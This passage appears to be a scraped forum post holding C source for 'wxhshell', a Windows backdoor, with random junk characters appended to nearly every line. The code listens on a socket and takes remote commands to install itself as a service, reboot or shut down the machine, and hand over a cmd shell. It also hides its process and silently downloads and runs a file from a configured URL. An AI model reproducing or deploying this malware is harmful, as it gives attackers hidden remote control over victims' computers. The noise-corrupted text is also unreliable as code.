  // 帮助 ]Ob|!L(  
  case '?': { s0^(yEcq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?)y^ [9  
    break; 4] uj+J  
  } a9z#l}IQ  
  // 安装 ANy*'/f  
  case 'i': { %KXiB6<4  
    if(Install()) X 3$ W60Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z.!N|"4yr  
    else EP 4]#]5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R2gV(L(!!  
    break; +7^p d9F.  
    } m&Mupl  
  // 卸载 . \"k49M`  
  case 'r': { U8w_C\Q  
    if(Uninstall()) LWN {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DzQBWY] )  
    else WXl+w7jr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w8UuwFG?<  
    break; ( %\7dxiK  
    } IB/3=4n^|  
  // 显示 wxhshell 所在路径 t82'K@sq  
  case 'p': { { K]5[bMT  
    char svExeFile[MAX_PATH]; hlaN'j <C  
    strcpy(svExeFile,"\n\r"); >F7w]XH  
      strcat(svExeFile,ExeFile); i(^U<DW$  
        send(wsh,svExeFile,strlen(svExeFile),0); ]~KLdgru_  
    break; FM >ae-L-  
    } N8b\OTk2  
  // 重启 &)%+DUV|  
  case 'b': { S{rltT-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o@Oz a  
    if(Boot(REBOOT)) DPTk5o[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ViPC Yt`of  
    else { d]pb1ECuu  
    closesocket(wsh); HUi?\4  
    ExitThread(0); fkBL`[v)4  
    } 6<._^hyq  
    break; rp||#v0l!w  
    } ?m |}}a  
  // 关机 LH8jT  
  case 'd': { * x/!i^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); udZOg  
    if(Boot(SHUTDOWN)) $zM shLT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xc:E>-  
    else { xzOa9w/  
    closesocket(wsh); NXU:b"G S  
    ExitThread(0); [1VA`:?W  
    } &9p!J(C  
    break; pk/#RUfT+  
    } 9=%zdz2_S  
  // 获取shell `6D?te  
  case 's': { $ J`O-"M  
    CmdShell(wsh); s[yWBew  
    closesocket(wsh); HTJ2D@h  
    ExitThread(0); I,j4 BU4  
    break; QJGGce  
  } 1F^Q*t{  
  // 退出 m+kP"]v  
  case 'x': { C82_ )@96  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &O&HczO  
    CloseIt(wsh); sgX!4wG&Z  
    break; ~[g(@Xt  
    } `>gG"1,]  
  // 离开 :v&[ !  
  case 'q': { 8M,*w6P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .+9hm|  
    closesocket(wsh); q$Gs;gz^(  
    WSACleanup(); x sryXex;  
    exit(1);  +$dJA  
    break; ef5)z}B   
        } tE7jTe  
  }  zUfq.   
  } uJ !&T  
: \+xXb{  
  // 提示信息 3S0.sU~_U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PsY![CPrW  
} ^\\3bW9}H  
  } %tCv-aX4  
d7OygDb<  
  return; $)i`!7`4=  
} ToXWFX  
~M C|  
// shell模块句柄 aF{_"X2  
int CmdShell(SOCKET sock) -aoYoJ '  
{ bx0.(Nv/X  
STARTUPINFO si; M";qo6  
ZeroMemory(&si,sizeof(si)); "TV'}HH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q]:O#;"<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CdolZW-!"  
PROCESS_INFORMATION ProcessInfo; YG "Ta|@5  
char cmdline[]="cmd"; $~/2!T_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NB-dlv1  
  return 0; z;c>Q\Q  
} m|a9T#B(  
}u Y2-l  
// 自身启动模式 Ot=jwvw  
int StartFromService(void) _5oTNL2  
{ p=8Qv  
typedef struct "[bkdL<  
{ ( ;FxKm<P@  
  DWORD ExitStatus; Pf*6/7S:  
  DWORD PebBaseAddress; Av X1*  
  DWORD AffinityMask; 7=G 2sOC  
  DWORD BasePriority; S* h52li  
  ULONG UniqueProcessId; Njq}M/{U  
  ULONG InheritedFromUniqueProcessId; Kl1v^3\{  
}   PROCESS_BASIC_INFORMATION; 54 lD+%E  
)DSeXS[ e  
PROCNTQSIP NtQueryInformationProcess; @KN+)qP  
DiCz%'N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $%<{zWQm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !ifU}qFzK  
o`U}u qrO  
  HANDLE             hProcess; wwUI ;g  
  PROCESS_BASIC_INFORMATION pbi; LCF}Y{  
wq)*bIv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4>JSZ6i#n  
  if(NULL == hInst ) return 0; i2F7O"f.  
^_7|b[Bt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -^_m(@A<~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l=@ B 'a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o+A7hBM^  
 N5 ME_)  
  if (!NtQueryInformationProcess) return 0; 6FUW^dt  
/<LZt<K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L*@`i ]jl  
  if(!hProcess) return 0; ?Oyo /?/  
@CprC]X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X Xque-  
u[>"_!T  
  CloseHandle(hProcess); <r%K i`u(p  
 5NU{y+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ] l,BUf-O  
if(hProcess==NULL) return 0; EX8JlA\-W  
]e>qvSuYh  
HMODULE hMod; { 3G  
char procName[255]; s :vNr@TS  
unsigned long cbNeeded; :@A&HkF  
C{exvLQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |z-f 8$  
 |/Nh#  
  CloseHandle(hProcess); C$[d~1t6  
*"%TAe7?~+  
if(strstr(procName,"services")) return 1; // 以服务启动 !fh (k  
AdX))xgl  
  return 0; // 注册表启动 A*JOp8\)  
} Kv_2=]H  
7! O"k#  
// 主模块 l;?:}\sI=  
int StartWxhshell(LPSTR lpCmdLine) iw@rW5%'~  
{ ,jU>V]YC  
  SOCKET wsl; f56yI]*N=<  
BOOL val=TRUE; Xs03..S  
  int port=0; !xs}CxEyA  
  struct sockaddr_in door; uD\R3cY  
>m%_`68  
  if(wscfg.ws_autoins) Install(); Llfl I   
~7m`p3W@  
port=atoi(lpCmdLine); (i "TF2U,<  
b<h((]Q>^  
if(port<=0) port=wscfg.ws_port; ]OAU&t{  
^e:z ul{;]  
  WSADATA data; !np_B0`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ddn IKkOp  
7B?Y.B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _O`prX.:B0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^<;W+dWdU  
  door.sin_family = AF_INET; K #3^GB3P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _c5@)I~  
  door.sin_port = htons(port); 2/-m-5A  
#S>N}<>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +a,SP   
closesocket(wsl); m&)/>'W   
return 1; ~q>jXi  
} vNO&0~  
U[ ]yN.J  
  if(listen(wsl,2) == INVALID_SOCKET) { >A Ep\ *  
closesocket(wsl); hf`y_H+\7  
return 1; lrrTeE*  
} >a;a8EA<O  
  Wxhshell(wsl); 7nt(Rtbsu  
  WSACleanup(); rZKh}E  
gtKih  
return 0; hY)zKX_r  
P`tOL#UeZL  
} YwVA].p@TI  
[P2>KQ\  
// 以NT服务方式启动 ?1Nz ,Lc$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5i br1zs  
{ #}A"yo  
DWORD   status = 0; 757&bH|a  
  DWORD   specificError = 0xfffffff; b8!oZ~ K  
~d*Q{v~3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F|%PiC,,qO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =?]`Xo,v~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7F`\Gz_2  
  serviceStatus.dwWin32ExitCode     = 0; #  X (2  
  serviceStatus.dwServiceSpecificExitCode = 0; vfSPgUB)  
  serviceStatus.dwCheckPoint       = 0; u#6s^ )W  
  serviceStatus.dwWaitHint       = 0; "&_+!TBg,  
(Mc{nFqS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kNuvJ/St  
  if (hServiceStatusHandle==0) return; Dj/Hz\  
GMU!GSY  
status = GetLastError(); s}zR@ !`  
  if (status!=NO_ERROR) GcM1*)$ 4  
{ {$S"S j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %! ` %21  
    serviceStatus.dwCheckPoint       = 0; f2.=1)u.  
    serviceStatus.dwWaitHint       = 0; PqspoH 0OI  
    serviceStatus.dwWin32ExitCode     = status; +|C@B`h  
    serviceStatus.dwServiceSpecificExitCode = specificError; O>E}Lu;|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9KK^1<46c  
    return; g? vz\_  
  } %YVPm*J ~  
:k9T`Aa]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "8Dm7)nB  
  serviceStatus.dwCheckPoint       = 0; 6AIqoX*p  
  serviceStatus.dwWaitHint       = 0; G}U <^]c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r'noB<| e  
} ru:"c^W:[  
$YJ 1P  
// 处理NT服务事件,比如:启动、停止 gX"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7\@c1e*e  
{ ?;#Q3Y+  
switch(fdwControl) u ?V}pYX  
{ ]ty$/{hx'  
case SERVICE_CONTROL_STOP: j32*9  
  serviceStatus.dwWin32ExitCode = 0; m9h<)D'>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ll__A|JQ  
  serviceStatus.dwCheckPoint   = 0; [C!*7h  
  serviceStatus.dwWaitHint     = 0; 4EYD5  
  { _J*l,]}S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s<*+=aIfu  
  } jd]L}%ax  
  return; .QY>@b\  
case SERVICE_CONTROL_PAUSE: (jKqwVs.:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0Hrvr  
  break; E2|M#Y  
case SERVICE_CONTROL_CONTINUE: "s@Hg1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n)N!6u  
  break; tk0m[HN@eV  
case SERVICE_CONTROL_INTERROGATE: <hzHrx'o{  
  break; V 2Xv)  
}; y/@Bhzc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PY|zN|  
} ,b^Y8_ltoT  
; &rxwL  
// 标准应用程序主函数 =pzTB-G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  /$93#$  
{ UhR^Y{W5  
]prw=rD  
// 获取操作系统版本 ZXLAX9|  
OsIsNt=GetOsVer(); ~LI}   
GetModuleFileName(NULL,ExeFile,MAX_PATH); <Z[Z&^  
|>P:R4P  
  // 从命令行安装 >07i"a  
  if(strpbrk(lpCmdLine,"iI")) Install(); h0-.9ym  
|Ja5O  
  // 下载执行文件 RrLj5Jq  
if(wscfg.ws_downexe) { vEjf|-Mb9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M*'8$|Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); Cw^iA U  
} 4~Q<LEly  
/@Jg [na  
if(!OsIsNt) { I3Co   
// 如果时win9x,隐藏进程并且设置为注册表启动 eG+$~\%Fub  
HideProc(); NI/'SMj%  
StartWxhshell(lpCmdLine); uf]wX(*<k  
} Gy+c/gK  
else ((?"2 }1r  
  if(StartFromService()) zM8 jjB  
  // 以服务方式启动 &R/-~w5  
  StartServiceCtrlDispatcher(DispatchTable); ;7[DFlS\P  
else ,aWI&ve6  
  // 普通方式启动 6x5Q*^w  
  StartWxhshell(lpCmdLine); BZOl&G(  
3hkEjR  
return 0; +dCR$<e9r  
}
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只看该作者 1 发表于: 2006-10-10
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